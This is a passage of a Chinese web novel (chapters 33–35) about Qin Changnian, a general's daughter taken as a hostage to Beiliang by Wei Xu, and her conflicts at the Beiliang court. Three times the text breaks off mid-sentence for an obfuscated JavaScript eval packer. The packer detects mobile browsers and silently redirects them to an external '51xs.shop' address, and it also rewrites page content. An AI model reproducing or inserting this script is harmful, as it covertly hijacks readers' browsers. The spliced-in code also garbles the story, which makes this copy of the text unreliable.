“用着我的剑,威胁我要割席分坐,大小姐还是单纯了些。”隗絮将手掌竖起,横劈在秦常念的手腕上,力道不大,但正中穴位,震得秦常念的剑脱了手。隗絮将剑踢起来,反手接住,挂回秦常念的腰间,另一只手往她的背上一推,意思很明确,要她回房间。 “你认真的?隗絮!你真的和我动手!”秦常念简直不敢相信自己的眼睛,瞪大了眼睛看着隗絮。 “是你先……”隗絮开口解释道。 但很显然秦常念已经生气了,她根本不想听隗絮任何一句话。她将剑从剑鞘中抽出,弯腰穿过隗絮的手,从他的身后把剑架在脖子上:“我不想听你解释,解释就是掩饰,你动手了,这是不争的事实。” 还不等隗絮说话,秦常念一个肘击打在隗絮的腰上,痛得隗絮喊了一声。 “痛,痛就对了。是你背信弃义在先。”秦常念气愤地说道。 “我哪有背信弃义?我不过是要你回去睡觉。”隗絮觉得自己好无辜,着急地解释道。 “我不回去!”秦常念将剑收回来,踢了一脚隗絮的膝盖,隗絮“嗷”地一声,被迫跪了下来。 就是现在,秦常念看准了时机,拔腿就跑,边跑还边喊:“子秋!子秋!走啦!” 子秋赶紧从房间跑出来,秦常念挥挥手:“快走!” 两个人跑到楼下,发现拴着的马不见了。 “先别管了,先走了再说。”秦常念阻止了子秋要去找店家问的想法,决定先走。马还可以再买,但若真被带去了北凉,事情可就脱离掌控了。 子秋点点头,环顾了四周一圈,带着秦常念往回跑。 可刚走没两步,身后的小巷里奔出来一匹骏马。子秋和秦常念靠边让路。那马跑过来的一瞬间,马上戴着斗笠的人一把抓住秦常念的手将她拉上来,放在自己面前。 子秋立马回身去救秦常念,可他刚准备伸手去够秦常念,那人手中的马鞭猛地抽过来,子秋下意识抽回手闪躲。那人趁机猛踢马的肚子:“驾!” “大小姐!”子秋立刻就要去追,可再厉害的人也跑不过马,三个人间的距离很快就被拉开。 “子秋!快回去告诉父亲!”秦常念在马上大喊一句。 “就说我先将大小姐带回北凉一段时间,定会保她安全,让秦大将军放心。”马上那人补充道。 是隗公子。子秋听到这熟悉的声音,立刻就作出了判断。可他为什么要将大小姐绑走呢?前几日明明他还是跟着大小姐出来救隗公子的,现在却变成这样。隗公子又是为了什么,要如此恩将仇报呢? 子秋来不及想那么多,赶紧跑去驿站买马,要回去给秦远送消息。 那边秦常念彻底被隗絮控制住,在高速飞奔的马背上,她根本没有逃跑的机会。就算侥幸跳了下来,没有摔成残废,在这荒郊野岭,也找不到第二匹马。 为了防止她忽然逃跑,隗絮连在客栈都特意只开了一间房。 “就一间?这怎么住啊。”秦常念很无语地站在床铺旁。 “住不了吗?”隗絮瘫了瘫手,一脸云淡风轻的样子坐下喝茶。 “你晚上不睡觉?”秦常念看隗絮坐在茶桌旁,想说这人定是疯了,准备喝着茶,将我严加看守。我难道是什么犯人吗。 “我为什么不睡觉,那不是有床吗。”隗絮冲着床的方向努了努嘴。 “你是说你要跟我睡一起?”秦常念下意识张开手遮挡自己的身体。 “说得跟没睡过一样。”隗絮悠悠地看了秦常念一眼,笑道,“而且今天都没脱衣服,你挡什么。再说了,有什么是我没看过的吗。” “你!变态!流氓!”秦常念想不到他会说出这样的话,气极了,随手抓了床上的什么枕头、被子就往隗絮身上扔。 隗絮一把接住这些用品,拿着枕头在手里晃了晃,一副浪荡子的样子:“这算是一种邀请吗?” 噎得秦常念真的说不出话来,用手指着隗絮,半天说不出话:“……你,你,那个……” 隗絮怎么会真的做这种事。闹够了,他便把自己的铺盖放到地上铺好,然后躺下。 秦常念看到他在地上规规矩矩地躺好,这才放下心来,也盖好被子准备睡觉。犹豫了一会,还是对着隗絮说道:“你冷吗?” “冷的话可以到床上去睡吗?”隗絮又笑着逗她,他不得不承认自己的劣根性,就是喜欢看秦常念被他逗得羞红脸,然后不知所措的样子。 果不其然,秦常念从脖子红到耳根,支支吾吾地说道:“冷的话……找店家多要床被子。” 隗絮看着她的样子,真的被可爱到了,低下头忍不住笑了笑。 “你笑什么?” 隗絮怕再逗下去,人真的要生气了,赶忙收住脸上的笑容,换上正经的面孔:“不冷,放心吧。” 秦常念点点头,还是不放心地补上一句:“你要是冷,记得找店家多要床被子。” “好。” 房间里安静了半晌,只剩下两个人的呼吸声。 隗絮小声地开了口:“其实我也是没有别的办法,才要将你带走的。我知道你不想,但我实在不知道该怎么办。” 回应他的只有沉沉的呼吸声。 “你睡着了?”隗絮不死心地问了一句,得到的回答仍然是一片沉默。他侧躺着,一手撑着头,向秦常念那边看去。 你不知道也挺好的,朝堂之中的利益争夺太多了。世间之物,最是不可预测的便是人心。 隗絮看着秦常念缩在被子里熟睡,忽然就明白了秦远之前不让她练武的原因。若是见过骇人的黑暗,便会希望将你推得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019516|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越远越好。 在爱面前,我们都是懦夫。我们不敢去冒一丝一毫的险,我们总是执拗地想将你保护起来。免受风霜侵蚀,免受烦恼叨扰。 大小姐,如果能永远都是那个大小姐就好了。 隗絮带着秦常念又日夜兼程地赶了三天路,终于出了大齐的边境。剪书已经带着马车队伍在此处等了。 隗絮先前被抓走的时候,特意没带剪书,一来是让他回北凉通风报信,告诉贤王自己已经被李权执抓去帝京;二来是希望仍在外面留一些自己的人手,以里应外合。他一个男人,被押送到帝京顶多就是吃点苦头,算不了什么。留剪书下来陪着自己,也没多大用处。 事实证明这个选择是很明智的,隗絮将秦常念带走后,立刻就给剪书传了消息,让他备好车马,在边境等。 “恭迎少主大人归来。”众人弯腰行礼。 隗絮点了点头,率先翻身下马,然后伸出一只手,准备扶秦常念。 秦常念故意避开他的手,自己下了马。但骑马的时间毕竟太长,秦常念下来的时候有些腿软,踉跄了一下。隗絮的眼神一直在她身上,立刻揽住她的腰,帮她保持平衡。 隗絮扶着秦常念上了马车,车上软垫、茶水早已备好,还焚了香,十分温馨。秦常念一上车就瘫坐了下来,靠着软垫闭目养神。连日的奔波让她很疲惫,现在终于感觉可以好好休息一下了。 隗絮看着秦常念舒服的样子,终于松了口气,若是他自己,一路骑回北凉王宫还方便些、快捷些。但是带着秦常念,他还是叫了马车。秦常念虽然面上不说,但她骑马的时候身子总是不自觉往一边歪斜,晚上在客栈也总是揉着腰和腿。一看便是肌肉拉伤了。 隗絮不禁责怪起自己,为什么秦常念跟着他就总是吃苦受罪。 一路上秦常念睡得很甜,恍恍惚惚地梦到了小时候的事情。她梦到小时候父亲带她坐上几天的马车,就为了去襄州看她特别想看的花展。那时候,她和父亲在温暖而舒适的马车里谈天说地,赶路也不觉得累。 隗絮将一床薄毯子搭在秦常念的身上,又把她的头轻轻放在自己的肩膀上,一手还附在她的腰上轻轻地揉,好让她能舒服些。 马车驶回了北凉王宫,剪书靠在帘子边问道:“少主,是先去见贤王殿下吗?” 隗絮拉开帘子,将食指放在嘴边坐了个噤声的动作,看了一眼靠在自己肩头睡得正熟的秦常念,压低了声音说道:“先回承韵宫吧。” 剪书弯下腰,点了点头。 马车停在承韵宫的门口,隗絮轻轻拍醒了秦常念:“到了。” “啊?”秦常念从梦中转醒,还有几分不清醒。 隗絮先下了马车,伸出手来接秦常念,秦常念朦朦地握住他的手,下了车。 “这是我的承韵宫,你这随便先随便玩玩,有什么缺的,就和剪书说,我去见了父王就回来。”隗絮叫来了剪书,吩咐他照顾好秦常念,转身就要去见贤王。 “那你还回来吗?”秦常念在不熟悉的地方莫名地有些不安,叫住了隗絮。 隗絮转过身,心底里一阵刺痛,那样热烈嚣张的镇北将军大小姐,竟被自己变成一副不安的、紧张的样子,他深吸一口气,笑了一下:“当然啊,这是我家。” 秦常念觉得心里的石头放下少许,点点头,跟着剪书进了承韵宫。 33. 暂住 福阳宫内,贤王隗止和逸侯隗子舟都已经在殿上等候。 “参加父王。”隗絮恭敬地跪下行礼。 “免礼。”贤王没有想到隗絮这么快就能回来,关切地看着他,“这一路都可好?没有受伤吧?” “回父王,儿臣一切都好。” “那就好,你这一路上发生了什么?剪书回来的时候,说你被瑞王抓走,要押送回京城。” 隗子舟被冷落在一旁,看着他们俩父子情深。 隗絮将李权执去边境抓人一事告诉贤王,当然略去了他和秦常念的细节。 “那你将镇北将军的女儿带回来,准备如何处置。”隗子舟等他们说完,终于找到机会插话。 “我已安排她在承韵宫住下了。” “噢?哥哥准备和她一起住?一来便入住少主的宫宇,她是入侍为质,还是为爱远行啊?”隗子舟眨巴着眼睛,一脸天真的样子。 隗絮转过头看着他,走近一步,反问道:“这么说来,你是要让镇北将军的女儿在北凉吃苦头。若是被镇北将军知道北凉慢待了他那金枝玉叶的宝贝女儿,率兵攻过来,那时你去应战吗?” 隗子舟肩不能扛、手不能提的,一副孱弱公子的样子,上战场那是万万不可能的。他赶紧摆了摆手:“哥哥这可就言重了。” 贤王若有所思的样子,顿了半晌,说道:“逸侯说的有道理,何况你现在尚未婚娶,她就这么住进承韵宫去,容易招来非议。” “父王,我……” 隗絮刚要开口说话,贤王抬手阻止了他,继续说道:“她初来乍到,对北凉还不甚熟悉。这样吧,她先在承韵宫住着,孤命人去收拾一间新的屋子出来,等安排妥当了,她再搬进去。” 隗絮猛地抬起头,想要说上些什么。 “就这么定了。”贤王很显然不愿意再谈,止住了话头,隗絮只得作罢。 承韵宫,剪书带着一排侍女走了进来:“大小姐,您看这些人里哪个看得顺眼,便留下来做您的侍女,贴身服侍。” “这里不是镇北将军府了,我也不是大小姐了,不必这样称呼我。”秦常念趴在桌上,用手撑着脑袋,有气无力地说道。 “您永远是秦将军的女儿,无论走到哪里都是大小姐。” 听了这话,秦常念似是来了点兴趣,直起身子来,盯着剪书问道:“你真这么想?” “是,大小姐。”剪书紧张地回答道。他摸不清秦常念的脾气,他只觉得这是个难服侍的主。在镇北将军府里,就东一下、西一下的,把他们少主都哄的找不着北。 秦常念立刻站起来,大步流星地往外走,走到承韵宫门口,果不其然被守卫拦下。 秦常念垂下眼眸,就见两把刀横在自己胸前,她收回视线,淡淡地说道:“放开。” 剪书急忙追出来:“大小姐,您需要什么都和我说,我替您置办。” “我要出去。” “这恐怕是不太行。” 秦常念低下头,扑哧地笑了,把剪书吓得不轻。这大小姐真是疯了,谁能告诉我她为什么笑啊。 “挺好,堂堂一个大小姐,被拘在这,连门都出不去。”秦常念讽刺道,她上去就要和守卫干架。 剪书急忙冲上去拦,但左劝右劝都不能把她劝回去回去老实坐着。他不禁在心里哀嚎,他都跟少主说了,这活他干不来。女孩子的心思,谁能猜得到。 “秦姑娘,在这大门口干什么?”优雅的声音传来,几个扭打在一起的人停下了动作。秦常念转过头来,看到一位身穿暗红华服、头戴白玉簪的女人。打扮精致、容貌姣好、气质突出,举手投足间,有大家闺秀之感;说起话来,又不怒而自威。 这个人不一般。秦常念在心里默默说道。 “参见安蓉王后。”这个人确实不一般,剪书和旁边几个侍卫立刻就跪下行礼。 原来她就是隗絮母亲,那个凭借一己之力将基因拉回正轨的女人。 “参见安蓉王后。”秦常念也跟着说道,却没跪下行礼,只是作了个揖。 安蓉王后走过来,牵起秦常念的手,带着她往屋里走:“秦姑娘的手很冰,是屋子里太冷了吗。”没等秦常念回答,安蓉王后勾了勾手指,丫鬟拿上来一件大氅。 安蓉王后接过来,亲自披在秦常念的身上:“秦姑娘此番离开家,一个人来北凉,可要照顾好自己。” “多谢安蓉王后。”秦常念有些感动,素未谋面,安蓉王后却对自己这么好,看来是个人美心善的人。 安蓉王后余光瞟见秦常念有些松软下来的表情,心中有数了:是个单纯的主。她环顾了一圈,看到承韵宫内站着的一排丫鬟,心中知道隗絮这是要留她住下来。 可一个质子住进少主的寝宫,终究是坏了规矩。 安蓉王后知道隗絮一向温和,决定替他做这个坏人,她看着秦常念,脸上挂上动人的笑容:“秦姑娘远道而来,一定累了,该好好休息。平日里,絮儿住在这里,免不得有各种人进进出出、商讨要事,秦姑娘怕是受不了那等嘈杂。不如这样,西边有一间清元阁,靠着池塘,环境好,离我也近,姑娘搬去那里住,也乐得自在。” 秦常念心想,你可真是给颗甜枣、打个巴掌啊。 安蓉王后是怕自己住在这里惹人议论,耽误隗絮的储君之路。秦常念在北凉压根没地位,她从前再是呼风唤雨的大小姐,在这里也只是一根任人拿捏的小草,她根本没有说“不”的可能。 安蓉王后也没打算听秦常念的回答,她立刻就起身,拉着秦常念往外走,还不忘对剪书吩咐道:“秦姑娘也就一个人,要这么多人服侍干嘛,弄得人家秦姑娘也怪不自在的。” 于是将那一群丫鬟也遣散,安蓉王后从自己宫里的宫女中拨出一个名为苒儿的女孩,美其名曰“调教好的下人,用着更顺手些”,实则就是想方设法地在秦常念身边安插探子。 她一个质子,谁知道会耍什么心机。 到了那清元阁,秦常念才更是大跌眼镜。这间屋子显然很久没有人住了,房间里到处都是蜘蛛网,灰尘大得一拿起扫帚,就会卷起沙尘暴。所谓的离池塘近,是指靠近一个久无人打理的、快要变成绿色的水池,各种蚊虫毛翅在浮萍里安家落户,好不自在。 “这里环境不错的,就是许久没人住,乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14028295|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了些。让苒儿帮着你打理打理,很快就能收拾得漂漂亮亮。”安蓉王后在那里指手画脚,秦常念在心里骂娘。 去你他妈的环境不错,环境不错你怎么不住啊。 秦常念觉得根本忍不了,真的是受够了,她并非本意地被绑来北凉,凭什么现在还要受这种委屈。 她看着安蓉王后冷笑了一下,扭头就走。 “秦姑娘!”安蓉王后没有想到她会如此胆大包天,十分意外。 “安蓉王后,这屋子环境好,你便留着自己住吧,本小姐我没兴趣!” “来人,去把她给我抓回来!”安蓉王后大怒,她初来乍到,就敢在这里兴风作浪、不把自己放在眼里,今天非好好整治一番不可。 秦常念一路疾驰,六个身披铠甲的侍卫在后面追,眼看着就要被抓到,秦常念急中生智,拔了根发钗,怼在自己的脖子上,看着那围成一圈的侍卫:“谁再敢靠近一步,我立马戳下去!谋害大齐镇北将军之女的罪名,我看你们谁担的起!” 侍卫们到底也只是奉命做事的,谁敢无端端惹出一条人命,都犹豫着,停下了动作。 “活的抓不了,就抓死的!她自己要死,谁能拦得住,给我上!”安蓉王后赶过来,怒气冲冲地下达命令,到此时,她几乎可以断定,秦常念就是个惹事生非的,她在北凉,不知道会惹出多大的麻烦,应该趁早处理掉。 侍卫们一听,王后娘娘都发话了,便一窝蜂地冲下去,抓住秦常念的两只胳膊,将她反手摁在地上。 “我没有做错事,你们凭什么抓我!”秦常念奋力反抗。 “凭什么?你别以为我不知道,你个狐狸精蓄意勾引北凉少主,你就是故意利用他来北凉的。秦远被大齐调为征北将军,已经开始征伐北凉。把你放进来,和他里应外合,就能把北凉翻个底朝天。秦姑娘,你这种美人计还是不要用了,卑劣低下、不知死活!” “好啊,既然你认为我是来做卧底的,不如就地把我斩杀了,以绝后患。”秦常念十成十地继承到了秦远身上的刚烈之气,她宁为玉碎、不为瓦全。 与其在北凉当这什么质子,把破烂摊子全扔给秦远收拾,不如就死在这里。 反正她不可能低头。 “住手!”一阵雄厚的声音喝止住了那些侍卫,大家都抬头去看,是隗絮跑了过来。 他穿进人群中,一把扶起秦常念,眼神里满是关切:“没事吧?” 秦常念没有抬起头,也没有给予任何的回答。她空洞得像一个布娃娃,就那么站在原地,任人摆布。 “絮儿!”安蓉王后看到隗絮一冲进来就是护着秦常念的样子,更加着急。 “母后,她是我带回来的,我自然会管,无需您插手。”隗絮一字一句地严肃说道。 “无论如何她不能住在承韵宫。”安蓉王后不甘示弱。 “母后,她必须住在承韵宫。”隗絮说得很坚决,一步也不肯退让,眉宇中透露着怒气,震得周围人都不敢说话。 隗絮面对安蓉王后一向是宽容体贴的,如今他居然为了这位秦姑娘,公然和安蓉王后叫板,可见这位姑娘对他来讲有多重要。 34. 看透 秦常念跟着隗絮回承韵宫,路上穿过长长的、鲜红色的宫墙,宫墙很高,肉眼观测,超过两丈。再高大的人在其中走,都显得微不足道。 好像一个横倒着、放大版的棺材啊。 秦常念冷不丁地起了这样的联想。 “今日你受委屈了,是我考虑不周,对不起。”沉默良久,在快到承韵宫的时候,隗絮还是先开了口。 “此事与你无关,少主不必道歉。”连称呼都变了,秦常念有心要和隗絮拉开距离,很客气疏离地说道。 “我已命人备好饭菜,回去便可以吃了。”隗絮不放弃,尝试换个话题。 回应他的却只有几只鸟雀被走来的浩浩荡荡的一行人吓到,扑棱翅膀,从墙头飞走的声音。 隗絮忍不住用余光偷瞄秦常念,心下很紧张。不知道秦常念是不是还在生他的气。 秦常念面无表情,一副无喜无悲、无欲无求的样子。 “这样吧,为了向你赔礼道歉,我可以满足你一个愿望,你提吧。”隗絮想起以前在镇北将军府里,秦常念和他谈条件那鬼灵精怪的样子。 那时候,只要肯答应秦常念的小九九,她的世界就会瞬间多云转晴,眼睛亮亮的,再和他谈天说地。 所以,他试图用以前的方式,哄她。 秦常念果然有了反应,她抬起头来。 转眼已接近黄昏,余晖将整个天空映照成橙红色的,让人有一丝冷意。这是一天结束前最后的美景。 正所谓,日暮途穷。 秦常念将视线转回隗絮脸上,淡金色的光洒在他脸上,修长的睫毛在眼下洒上阴影,高挺的鼻梁被太阳勾了个边,更显出几分阴郁美男的样子。 他比秦常念高上一个半头,他站直了,挡住了大部分的光线。 秦常念便站在他的影子里。 “放我走。”秦常念薄唇轻启,提出了要求。 夕阳余晖照着的人好似忽然丧了气,连脊背都弯了下来:“这个不行,换一个。” “那没有了。”再问一百遍、一千遍,秦常念的愿望都是一样的,她要回去。 隗絮也放弃了一般,叹了口气,背着手,沉默地向前走去。 一回宫,隗絮便吩咐下去,镇北将军之女将由他亲自看管,未免横生枝节,任何人来都不见。 “记住,我说的是任何人。包括父王和母后。”隗絮将侍卫、仆从召过来,下了命令。 “是。”底下的人齐刷刷地答道。 秦常念忽然又想起自己曾经捡回来的那只燕子,因为生的娇小可爱,镇北将军府里的人都常常来看它,关心它的伤势养的如何了。 她怕来人太多、太繁杂,让燕子精神不好,便屏退了众人,要它好生歇息。 可她从来没问过燕子愿不愿意、孤不孤独。 因果轮回,现在她自己成了那只燕子。 老天果然不会饶过谁。 精致的菜肴被端上桌子,秦常念和隗絮面对面坐下。 秦常念却没动筷子。 “快吃吧,一会该凉了。”隗絮拿起筷子,率先夹起一块羊肉。他怕秦常念不好意思吃。 秦常念拿起筷子,跟着隗絮夹菜,亦步亦趋。 隗絮的筷子动一下,她的筷子就跟着动一下。隗絮勺起一块木耳,秦常念就绝不去夹那排骨。 隗絮觉得好奇怪,观察着秦常念的动作,却又猜不透她的想法。 丫鬟端上来两碗米饭,摆在二人面前。 这下你不能再跟着我了吧。隗絮想道,吃了一大口米饭,就着孜然羊肉肥美的汤汁,喷香。 秦常念眼神流转,看看自己面前的饭,又看看隗絮面前的饭。将自己盘着的一根银发钗取下来,插在米饭的一角,很快又抽出来,仔细看着尖头的银针。 银针依旧清亮透彻,并无变化,说明此物无毒。秦常念沉默着将发钗放在一旁,拿起筷子吃饭。 隗絮手里的饭却忽然不香了。她是在验毒。 “你不是饭前没有验毒的习惯吗?”隗絮放下手中的筷子问道。 秦常念抬起眼皮,沉沉地看他一眼:“那是在我家。” 我在我家是百分之百安全的,我不验毒是出于信任。 可是在你这里却不一定了。 隗絮感觉自己的嗓子眼都被噎了一下,想说却又说不出来话。 “你觉得我会杀你?”隗絮很诧异,他辛辛苦苦把秦常念带回北凉是为了什么,不就是为了救她的命吗,如果他要杀她,那荒郊野岭千百次机会,他早就可以动手了。 “你不会。可你不能代表北凉。”秦常念表情都无甚波澜。生死对她来说根本已无所谓,她就是故意做给隗絮看的。为的就是戳痛他的自尊心。 今日安蓉王后可以从你宫里把我带到犄角旮旯,明日就会有人敢在我的饭菜里下毒。我无法信任北凉。 秦常念的自我定位很清晰,在北凉,身为质子,毫无地位,朝不保夕。 傍上少主,巧言令色,讨他欢心,也许是最好的选择。 可秦常念不会选。她是一个是非分明的人,隗絮违背她的意愿,将她带来北凉,就是错了。她很难再对他有什么好脸色。而她所有的反叛、挣扎,都是在说四个字——放我走。 隗絮没接话。从这以后,所以端上来的吃食、药膳,隗絮都会先动筷子,把所有的尝上一遍。他也是在用行动回应秦常念,你所有的别扭我都可以配合,所以你趁早死了这条心吧,我不可能放你走的。 一顿饭吃得不欢而散。秦常念回到侧殿为自己准备的房间,一个宫女已经铺好床在里面等着了。 “小姐,我来为您更衣。”宫女弯着腰,毕恭毕敬地走上来。 秦常念张开手,任由她解开外袍:“你就是苒儿吧。”所有的丫鬟都被遣散,留下来的只可能是安蓉王后亲自指的那一个。 名为苒儿的女孩点点头,屈膝行礼:“回小姐的话,奴婢是苒儿。” 问什么答什么,没有一句多余的话语,甚至没有一个多余的动作。举止有礼,言行尊敬,她就像对待真的大小姐一样,对待秦常念。和那些见风使舵、见人下菜的下人们截然不同。 “你知道我是谁吗?”秦常念来了兴致,靠在床头问道。 “奴婢知道,小姐是大齐镇北将军的女儿。”苒儿一字一句地答道。 “那都快成上辈子的事了。你可知我来北凉是做什么的。” “奴婢不敢妄自揣测小姐。”苒儿低下头,一副很恭顺的样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037250|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。 “我来北凉是做质子的。而你,是安蓉王后派来监视我的。我心里清楚得很,往后你也不必在我面前装模作样。”秦常念最讨厌的就是别人表面一套、背后一套的虚与委蛇。 “……是,小姐。”苒儿似乎不善言辞,面对秦常念第一日并不客气的话语,她并未试图争辩一句,就这么应下来。 秦常念觉得有些好笑,没管她,翻身上了床。 往日里沾枕头就着、三秒钟秒睡的她,怎么都睡不着。脑子里乱哄哄的,像有一百匹骏马扬蹄而过,吵得她脑袋缺氧。 实在睡不着,秦常念索性批了衣袍,到院子里练剑。只有身体动起来的时候,脑袋才不会胡思乱想。 她刚一打开门,就和苒儿撞了个正着。 “你怎么不去睡觉?”秦常念提着剑,很意外。 “奴婢怕小姐刚来晚上不习惯,睡不着,特意来守着小姐,以防万一小姐晚上有事喊奴婢。” “噢。”秦常念不甚在意,你们这北凉爱咋咋地吧,与我无关。她提着剑往外走,苒儿打着灯笼跟在她身后。 “没有规定说晚上不能在这四处逛逛吧。”秦常念瞟到苒儿一直跟着她,心里烦躁,准备随便找个理由将她支走。 “有,少主大人特意交代了,让奴婢守着小姐按时在房内休息。” 秦常念停下脚步盯着她,苒儿有点过于实在了。 “那我非要出来逛呢,如何。”秦常念伴出一副嚣张跋扈的样子。 “不如何,小姐。奴婢毕竟是来服侍小姐的,当然是由着小姐的心意。” 她的回答再一次震惊了秦常念。不是,我与你非亲非故,你就要帮我?秦常念不死心,接着问道:“那明日你们少主若是知道了我深夜外出,责罚你怎么办。” “少主不会知道的,除非小姐主动告诉少主。” 秦常念简直被苒儿的脑回路惊呆了,你简直就是傻的可怜,就敢这么信任一个质子,违背少主的命令。 苒儿当然不会说,自己其实聪明得吓人。眼前这位小姐手上提着的可是少主的剑,少主那把从小到大一直带在身边的剑。那剑穗更是吓人,是象征着少主的赤铉玉,见玉如见少主。 她怎么可能是真的来做质子的,她分明是来做少主夫人的。而且,还把少主拿捏得死死的,今日少主居然热脸贴冷屁股。秦小姐不愧是将门之后,简直是吾辈楷模啊! 苒儿在心里得意地想,果然是什么都逃不过我的眼睛。 秦常念将外跑脱下,放在苒儿手里,长剑一指,便开始练剑。她长剑一挥,一个弓箭步上前,借着惯性,蹬了一腿石柱子,一个轻功腾跃空中。 她一个反手横劈,剑气凶狠。 看得苒儿在树下一愣一愣的,拼命忍住了自己拍掌叫好的心。秦小姐真是太帅了,像是那侠女一般,我定要死心塌地地跟着她! 秦常念不知道自己收获了一个小迷妹,呼吸之间,她飞快地转身,一个直剑对着墙沿送了出去。 正正好好停在一双眼睛面前。 那双眼睛吓了一跳,剧烈颤抖着:“哎,别,别,别,姐姐饶命,别杀我,我可以解释的。” 秦常念也吓了一跳,自己随便练练,怎么会真的抓到刺客。 35. 逃跑 “你是何人。”秦常念并不收剑。傻瓜才会这时候收剑呢,现在占着优势,当然是要好好逼问他一番。 “那姐姐也要等我先下来,再细细解释给你听啊。”那人指了指鼻子前面的那把剑。 秦常念将信将疑地收了剑,那人从墙上跳下来。 眼眶深邃,眸子幽蓝,一头乌黑的长发散落在肩头。像是神话故事里走出来的人物。 可他一开口,印象碎了一地。 “哎哟我天,这墙也太高了,跳得我脚跟痛。”高大的人弯下腰,扶着墙壁,活动着脚踝。 “参加逸侯。”苒儿率先认出来。 隗子舟很随意地挥动几下腕子:“免礼免礼。”抬眼看了一下秦常念,很得意的样子,怎么样,没想到是小爷我吧。 “逸侯来承韵宫做什么?”秦常念并不买账。 “我听闻哥哥带了镇北将军的女儿回来,又听闻姐姐容貌无双、潇洒自如,实在是忍不住心中的好奇,想来看看。” 今日贤王将隗子舟留在福阳宫一起用晚膳,话里话外的意思都是要他盯着点秦常念,不仅要盯着她是否有异心,还要防着她对隗絮使美人计。 隗子舟在福阳宫满口答应,心中早已有了盘算。他才不要去防着秦常念勾引隗絮呢,恰恰相反,他还要证明隗絮已经中了美人计,纵容秦常念有异心,一叶障目、难堪大用。他要少主做不成少主。 而此刻,隗子舟眼睛都不眨一下地撒谎。 “既是如此,逸侯何故爬墙,堂堂正正地走大门不好吗。” “哥哥刚得了一个美人,我就上赶着来见,哥哥知道了,不得打断我的腿。”隗子舟很夸张地比划着,仿佛鞭子已经抽在他身上了。 秦常念觉得很无语,对这种出口成章、歪理满天飞的纨绔,她还真的不知道该如何应对。 隗子舟从怀里掏出一袋蜜饯:“姐姐在北凉一定想家,难过的时候,吃个蜜饯就能开心起来了。” 秦常念杵着没动。 隗子舟一把把蜜饯塞给苒儿:“看来姐姐想要的不是蜜饯,姐姐想要回去。” “姐姐放心,我定帮你寻一个法子,送你回大齐。”隗子舟走近一步覆在秦常念耳边说道。 “你凭什么帮我?”秦常念眼皮一抬。 “凭,我不忍心看姐姐伤心。没办法,我就是见不得好看的东西毁掉。”隗子舟虚摸了一下秦常念的脸,秦常念很快后退一步躲开。 隗子舟也不强求,无所谓地笑了一下:“等我送姐姐回去,姐姐就该相信我了。” “秦常念!秦常念!”不远处隗絮的声音传来,他本是怕秦常念睡不着,想去看看她,一进房间,却没有人,正出来寻着。 隗子舟一听,转身就要跑,他又翻回墙头:“姐姐,下次再来找你,等我!”秀发飞舞一下,消失在尽头。 隗絮很快找到了秦常念,他站在离她一步远的地方,漆黑的眸子盯了秦常念半晌,却一言不发。 “晚上睡不着,出来逛逛不行吗?”秦常念感觉到一股压迫感,但强撑着嘴硬,收了剑,准备回房间。她现在满脑子都是隗子舟提出来的送她回去。 隗絮瞟了一眼墙角,正是隗子舟刚刚离去的方向。 秦常念不理他,带着苒儿就要回去。 “那蜜饯哪来的?”隗絮长步一迈,挡住秦常念。 秦常念沉默着,思考对策。 “回少主大人,蜜饯是小姐让奴婢去找的,她说想尝尝看。”苒儿居然大着胆子开了口,即便声音都微微颤抖着。 “你倒是在哪都有人心甘情愿护着。”隗絮扫了一眼苒儿,又将视线移回秦常念身上。 “要你管。”秦常念小声反驳一句,拉了苒儿的手腕就带着她走。她抖成那筛糠的样子,还敢强出头。 “回去老实睡觉。”隗絮的声音从后面飘过来,“不然,我不介意抱得美人归,顺便抱得美人睡。” 秦常念吓得愣了一下,加快了步子回房间。 “原来你是吃硬不吃软。”隗絮自言自语了一句。 隗絮日日都来陪秦常念一起吃饭,一日三餐、一顿不落。无论秦常念怎么讽刺他,做了何种行为来激怒他,他都不为所动,沉默地吃饭,然后沉默地等秦常念吃完。 秦常念一度很怀疑北凉的少主是不是只是一个虚名,立在宫里做吉祥物的那种,不然隗絮怎么如此清闲,公务不要说繁不繁忙,秦常念简直没看见过公务。 秦常念心里一直记挂着隗子舟说的送她走,所以想法设法地和隗絮拉开距离。她吃饭的时候故意一粒米、一粒米地往嘴里送,企图用时间耗走隗絮。他没耐心了,下次就不与她一同用膳了。 “吃得这么慢,我不介意亲自喂你吃。”隗絮单手撑着下巴说道。 秦常念赶忙拿起碗,往嘴里扒饭。 一刻钟后,用膳结束。 “你说隗絮这人是不是有毛病,每天像个游手好闲的无业游民一样,就知道盯着我。你们北凉的少主都是吃干饭的吗!”秦常念在房间里对着苒儿一顿输出。 